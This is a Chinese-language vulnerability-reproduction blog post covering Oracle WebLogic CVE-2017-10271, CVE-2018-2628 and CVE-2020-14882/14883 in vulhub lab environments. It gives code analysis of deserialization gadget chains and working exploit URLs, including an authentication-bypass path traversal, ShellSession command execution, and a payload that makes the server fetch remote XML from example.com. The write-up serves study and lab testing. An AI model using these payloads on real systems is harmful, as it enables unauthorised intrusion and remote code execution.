漏洞复现 - weblogic(一)
该实验所有复现的漏洞环境均来自 vulhub。
- CVE-2017-10271 -
- 实验环境 -
docker-compose.yml
:
1 | version: '2' |
影响版本:
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
- 漏洞分析 -
据说这个漏洞的原因主要是没有严格的对用户输入的内容进行处理就送到了 XMLDecoder 进行解析,在解析过程中出现了反序列化漏洞,导致任意代码执行。而漏洞的关键点在 wls-wsat.war
包中,那么先把环境起了,再将所有相关的包copy出来并反编译分析下罢。
根据漏洞的 POC 可知,是在访问了 /wls-wsat/CoordinatorPortType11
并传入适当的 xml 内容就会触发漏洞。实际上也就是这玩意👇
其 servlet-name
值为 CoordinatorPortTypeServlethttp11 ,当访问这个 url 时会调用 weblogic
的 WLS Security 组件提供的 webservice 服务👇
这个 webservice 服务中就使用了 XMLDecoder 解析用户传入的 XML内容 继而在解析过程中对用户输入的恶意内容进行反序列化。其中,在 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
中会对用户输入的内容进行处理👇
这里的 paramPacket.getMessage().getHeaders()
实际上是从 soap 的 soapenv:Header
里边遍用户输入的XML内容的标签头部,跟进查看 WorkAreaConstants.WORK_AREA_HEADER
的值👇
简单来说👇
1 | <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> |
那么,跟进 readHeaderOld
方法👇
最后跟进 WorkContextXmlInputAdapter
类的构造方法👇
显然这里是将输入的流传入到 XMLDecoder 中进行解析了。
- 复现过程 -
先使用 docker-compose up -d
将环境起了,然后访问 http://ip:port/wls-wsat/CoordinatorPortType11
,并使用以下内容进行请求👇
之后即可在环境里面发现 /tmp/ok 文件👇
实际上,由上边的代码分析不难看出,在对 XML内容 的处理中会先将前两个标签舍去👇
所以恶意内容应放到第二个标签内,同时第二个标签的名称并不影响漏洞的触发。
- exp -
简单的exp👇
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
- CVE-2018-2628 -
- 实验环境 -
docker-compose.yml
(为了更好的复现多用一个镜像作为攻击机):
1 | version: '2' |
影响版本:
- 10.3.6.0
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
- 漏洞分析 -
据说是由于 weblogic server WLS core components
的存在反序列化漏洞,并能通过t3协议触发导致远程代码执行。因为现在太菜了不太懂先留着,后面补上罢。我又来了,隔了一天觉得不妨先从payload中的反序列化内容逐步分析(学习)比较好。
那么先用物理机从 exploit.py 的操作看起,其中,目标 ip 为 192.168.3.35 ,暴露 端口 为 7002 , 在本地用 ysoserial
起服务的攻击机 ip 为 172.20.0.5 , 服务监听 端口 为 2001 👇
继续跟进 exploit
函数,可以简单的得到整个 exp 执行的流程👇
跟进 t3_handshake
函数👇
这里是进行了简单的握手操作,接着再往下跟进 build_t3_request_object
函数👇
到这里还并没有看出什么,继续跟进下边的 generate_payload
函数👇
其中 rmi
即是 Remote Method Invocation(远程方法调用) ,而 jrmp
即是 Java Remote MessagingProtocol(java远程信息交换协议) 。 前者顾名思义可以调用远程的方法,后者则是可以可以查找和引用远程的对象。jrmp
是运行在 rmi
之下的,而 RemoteObjectInvocationHandler
的 UnicastRef
建立的远程连接是使用 jrmp
协议的,并且使用该协议连接到开启了 jrmp
服务端的客户端会无条件反序列化从服务端收到的任何响应内容(应该差不多是这个意思吧)。接着看最后的 payload 数据构造👇
这里不妨先随手写一个 rmi
然后简单查看一下通信内容👇
1 | import java.net.MalformedURLException; |
本地监听👇
在物理机起一个 jrmp
的服务,然后通过中转监听来看看从 jrmp
服务发过去的内容👇
那么现在就一目了然了,显然上边的一系列操作即是让目标作为客户端主动通过 jrmp
协议和搭建在攻击机本地的 jrmp
服务端进行通信,然后攻击机上的本地 jrmp
服务会将构造好的序列化内容发送给目标客户端,目标客户端会无条件反序列化这些内容,从而反序列化漏洞由此产生;若再对这些反序列化内容进行构造就很可能造成远程代码执行。
接下来不妨分析一下这个能造成远程代码执行的序列化内容,很明显的可以从服务端发送过去的 payload 看到序列化入口点的类👇
跟进 javax.management.BadAttributeValueException
类,众所周知再这个类中是可以调用可控类的 toString
方法的👇
接着再看通讯的内容👇
令人吃惊的是,在 sun.reflect.annotation.AnnotationInvocationHandler
中并没有对 toString
方法的重写,也就是说这个 payload 并没有利用到 javax.management.BadAttributeValueException
类中可以调用可控类的 toString
方法的功能,只是简单的将其 val
属性赋值为前者罢。那么再跟进 sun.reflect.annotation.AnnotationInvocationHandler
类,可以发现其实现了 Serializable
接口,并且拥有 readObject
方法,这么来看的话上边 javax.management.BadAttributeValueException
用 val
属性的包装仅是用来作为 sun.reflect.annotation.AnnotationInvocationHandler
的携带者👇
ok,现在知道了整个链条的准确开头应该就是从 sun.reflect.annotation.AnnotationInvocationHandler
类的 readObject
开始了,该是分析链条主体部分的时候了,先看主体 payload 的构造源码👇
1 | /* |
看起来主要是使用了 Transformer
、 ConstantTransformer
、InvokerTransformer
以及 ChainedTransformer
这几个玩意儿来构造链,不妨先对这三个玩意进行分析。首先这几个玩意都是来自 Apache Commons Collections
库,而 weblogic
使用了同属这个库基本概念的 org.apache.commons.collections
包👇
其中, Transformer
这玩意是一个接口,并且定义了 transform
方法;而 InvokerTransformer
这个类不仅实现了 Transformer
以及 Serializable
接口,在它的 transform
方法中还通过反射使得让使用可控参数调用任意类的任意方法成为可能👇
并且这些关键属性也都是可以在构造方法中赋值的👇
接着看 ChainedTransformer
,这也是一个实现了 Transformer
和 Serializable
接口的类,在其中它的 transform
方法是遍历装有任意实现了 Transformer
接口的实例,并依次调用每一个数组元素的 transform
方法,同时在先将传入参数作为首个元素调用 transform
方法的参数后,往后都是将上一个元素通过调用 transform
方法得到的返回值作为下一个元素调用 transform
方法的参数👇
若用 ChainedTransformer
将多个实现了 Transformer
的 InvokerTransformer
串起来就可以将单次的使用可控参数去调用任意类的任意方法的形式通过循序渐进变为形如可以调用 java.lang.Runtime.getRuntime().exec()
这样的形式。
那么再看 ConstantTransformer
,这玩意同样实现了 Transformer
和 Serializable
接口的类,其 transform
方法作用是返回其私有变量 iConstant
的值,因此可以通过序列化将这个值控制成一个形如 java.lang.Runtime
的值👇
此时回头看一下 payload 中的主要链条部分,思路就较为清晰了,以下这个数组在最后会放到 ChainedTransformer
中👇
1 |
|
- 第一步,由
ConstatnTransformer
获取java.lang.Runtime.class
值; - 第二步,将
java.lang.Runtime.class
作为参数,通过getMethod
先将java.lang.Runtime.class.getClass()
的getMethod
方法赋值给method
,然后使用method.invoke
即java.lang.Runtime.class.getClass().getMethod.invoke
去获取java.lang.Runtime.getRuntime
方法本身; - 第三步,将
java.lang.Runtime.getRuntime
方法本身作为参数,通过getMethod
先将java.lang.Runtime.getRuntime.getClass()
的invoke
方法赋值给method
,然后使用method.invoke
即java.lang.Runtime.getRuntime.getClass().invoke.invoke
去调用本身得到java.lang.Runtime.getRuntime()
结果; - 第四步,将
java.lang.Runtime.getRuntime()
结果作为参数,通过getMethod
先将java.lang.Runtime.getRuntime().getClass()
的exec
方法赋值给method
,然后使用method.invoke
即java.lang.Runtime.getRuntime().getClass().exec.invoke
配合后边的execArgs
参数达成形如java.lang.Runtime.getRuntime().exec(execArgs)
的形式。
然而既然已经拿到了主要链条,现在最需要关注的是如何让这个主要链条生效,再看一下 payload 后续处理的部分👇
1 |
|
可以看到,存储上边链条且属于 ChainedTransformer
实例的 transformerChain
连同新实例化的 HashMap
被作为参数去调用了 LazyMap.decorate
,先跟进 LazyMap.decorate
,这个类依然实现了 Serializable
接口👇
此时, LazyMap
类的 factory
变量即为 transformerChain
的值。由于这个 LazyMap
也实现了 Map
接口,接着往下看👇
事实上,由于 factory
的值为 transformerChain
的值,其为 ChainedTransformer
的实例,当这个 transformerChain
调用了 transform
方法时,也就会对其存储的每个链条调用 transform
方法从而形成一条能够组成 java.lang.Runtime.getRuntime().exec(execArgs)
形式的链条。比如以下例子👇
接着就是得找一个能够调用 get
方法的形式了,不妨回过头来看有关 sun.reflect.annotation.AnnotationInvocationHandler
的 invoke
方法。由于本地环境的版本太新,漏洞点已经修复,这里就用环境的jdk来复现(版本 jdk1.6.0_45)👇
可见只要能够给 memberValues
构造适当的值就可以在反序列化时调用其自身的 invoke
方法进而调用 get
方法,这实际上概括说来即是 我自己,就是我自己的代理 。为实现这种形式,可以使用实例套代理的模式,第一个 AnnotationInvocationHandler
实例的 memberValues
属性存放着 payload 内容,第二个 AnnotationInvocationHandler
的 memberValues
属性存放着第一个 AnnotationInvocationHandler
实例的代理。
也就是说在第二个 AnnotationInvocationHandler
实例调用 readObject
方法中,this.memberValues
的值为第一个 AnnotationInvocationHandler
实例关于 Map
接口的代理;当执行到 this.memberValues.entrySet()
时会调用第一个 AnnotationInvocationHandler
实例的 invoke
方法,而第一个 AnnotationInvocationHandler
实例的 this.memberValues
值为上边包装好 payload 内容且实现了 Map
接口的 LazyMap
,一旦执行了 this.memberValues.get
就会层层触发直至 java.lang.Runtime.getRuntime().exec(execArgs)
,比如简单模拟一下👇
1 | import java.io.*; |
得到结果👇
事实上 payload 部分也是依靠动态代理的形式去调用 invoke
方法以便到达 get
方法的调用。另外,或许 payload 还可以在短一些。。
不妨自己再手撸一个完整的 payload 👇
1 | import org.apache.commons.collections.Transformer; |
运行结果👇
由此,整个分析过程就结束了,接下来即是利用 jrmp
服务端将这些序列化内容发送给目标客户端,目标客户端会无条件对服务端的内容进行反序列化。
- 复现过程 -
先使用 docker-compose up -d
将环境起了,然后从攻击机中起一个 jrmp
服务👇
接着用 exploit.py
通过 t3
协议让目标使用 jrmp
协议与攻击机起的 jrmp
服务进行通信👇
最后检查目标,可以发现 tmp/ok
成功被创建👇
此时成功通过反序列化执行 touch /tmp/ok
。
- exp -
https://www.exploit-db.com/exploits/44553
- CVE-2020-14883/CVE-2020-14882 -
docker-compose.yml
:
1 | version: '2' |
影响版本:
- 10.3.6.0
- 12.1.3.0
- 12.2.1.3
- 12.2.1.4
- 14.1.1.0
- 漏洞分析 -
- CVE-2020-14883 -
这里从 CVE-2020-14883
看起,这是一个有关认证绕过的漏洞,即可以通过构造一定url的方式以低权限绕过登录访问控制台。先分析一下相应的 payload 👇
1 | http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal |
不难看出这似乎是一个有关路径穿越的绕过方式,例如 %25%2e%25%2e%25%2f
在经过二次url解码实际上是 ../
,整条路径的实际路径为 http://192.168.3.37:7001/console/console.portal
,也即是普通访问控制台的路径。至于能够写形成这样的原因,不妨看一下其 web.xml
文件的配置👇
可以看到有关url的正则匹配为
/appmanager/*
*.portlet
*.portion
*.portal
因此在进行匹配时,http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
是能够成功匹配相关视图的。再对比一下相应的 payload 不难看出,具体的原理应该是通过插入静态资源路径的方式,让认证服务以为仅仅只是平常的对静态资源的访问,于是就不会进行认证,从而就绕过了认证。
无奈一直搞不到 weblogic
完整的真源码,无法实时调试,只能勉为其难地简单反编译对比了。
那么从类比的角度来看,能够满足上面关系的路径应该包含以下👇
经过尝试,以下 payload 都是可以的:
http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal
再来看认证函数👇
由于无法进行调试,这里一个个值来看,不过首先要说明的是在传入的参数中:
request = 请求内容
response = 回应内容
checkAllResources = false
applyAuthFilters = true
isRecursiveCall = false
接着跟进 RequestDispatcher rd = invokePreAuthFilters(request, response);
👇
再跟进 RequestDispatcher rd = getAuthFilterRD();
👇
那么查看 this.authFilterRD
的值👇
由此可知,RequestDispatcher rd = null;
。
接着这里默认设置了 authorized = true;
,往下看,由于 checkAllResources = false
则 resourceConstraint = getContraint(request)
,而 getContraint(request)
这个方法实现的内容实际上是对请求内容使用 ResourceContraint
类进行一个包装👇
由于无法进行动态调试,就不跟进了。往下看,可以看到其中有一个 if (!... && resourceConstraint.isForbidden())
的条件判断,跟进 isForbidden()
方法👇
可以看到 forbidden
属性的默认值为 false
,而实际上返回的确实也是 false
。那么这个条件里的内容也就是关于对表单进行认证的部分就不会执行,而是直接跳到下一部分👇
由此导致认证通过的关键点即是 authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, applyAuthFilters);
这条语句了。其中整个认证的流程如下👇
能够认证成功的原因应该是当请求内容中包含静态资源路径时,在包装成 ResourceContraint
类的途中,其 unrestricted
的值为 true
导致能够无限制的访问,进而能够绕过认证。
但这还仅仅是绕过了认证,即只能够获得访问的权限,此时还需要一个类似跨目录的形式将url中的 %252E%252E%252F
内容解析成 ../
的形式以便达成最终路径 /console/console.portal
。
不妨来看下对上下文的处理,在 com.bea.netuix.servlets.UIServletInternal
类的 getTree
方法中存在对url的二次解码👇
且在对上下文的创建过程中用到了这个 getTree
方法👇
那么此时显而易见 /console/images/%252E%252E%252Fconsole.portal
会由二次解码成 /console/images/../console.portal
;并且在上边已经由包含静态资源的形式绕过了认证,那么最终也就能从 /console/console.portal
进入。
- CVE-2020-14882 -
还是先来看一下 payload 👇
1 | http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok');") |
显然前面的部分即是上边 CVE-2020-14883
关于控制台认证的绕过,后面接着的 handle=.......
就是该CVE的关键部分了。那么先看 com.bea.console.handles.HandleFactory
类的 getHandle
方法👇
由此可知,这里存在一个形如 new [可控类名]([可控String型参数]);
的调用形式。
不妨根据 payload 查看一下 com.tangosol.coherence.mvel2.sh.ShellSession
类内容👇
其实也就是将要执行的java代码作为 com.tangosol.coherence.mvel2.sh.ShellSession
的构造参数,依靠上边的 new [可控类名]([可控String型参数]);
去执行java代码,从而达成远程命令执行。
然而 com.tangosol.coherence.mvel2.sh.ShellSession
类只有在 weblogic 12.2.1
以上才可以利用,再看另一个通杀的 payload 👇
1 | http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") |
看的出来这个让其加载远程的xml文件,并执行其中的命令。不妨跟进 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类查看👇
在费劲周折地对了这个url进行处理后👇
会进行刷新操作刷新将远程xml文件的内容解析并执行,比如可以用以下的xml内容执行系统命令👇
1 |
|
由于无法进行动态调试,就先不深入往下看是如何解析了。
- 复现过程 -
还是先使用 docker-compose up -d
将环境起了,然后访问以下任意url👇
http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal
都可以成功进入控制台👇
此时 CVE-2020-14883
复现完毕,接着将以下内容放入任意url👇
1 | ?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok1');") |
比如👇
可以发现成功执行了命令。
再试试加载远程xml的 payload ,先随意起一个网络环境,并将xml文件准备好后开整👇
此时也成功执行了命令。
- exp -
- CVE-2020-14883 -
以下均可绕过认证到达控制台👇
http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal
- CVE-2020-14882 -
使用 com.tangosol.coherence.mvel2.sh.ShellSession
类的构造方法👇
1 | http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok');") |
使用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
的构造方法👇
dm.xml
👇
1 |
|
访问的url内容👇
1 | http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") |
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !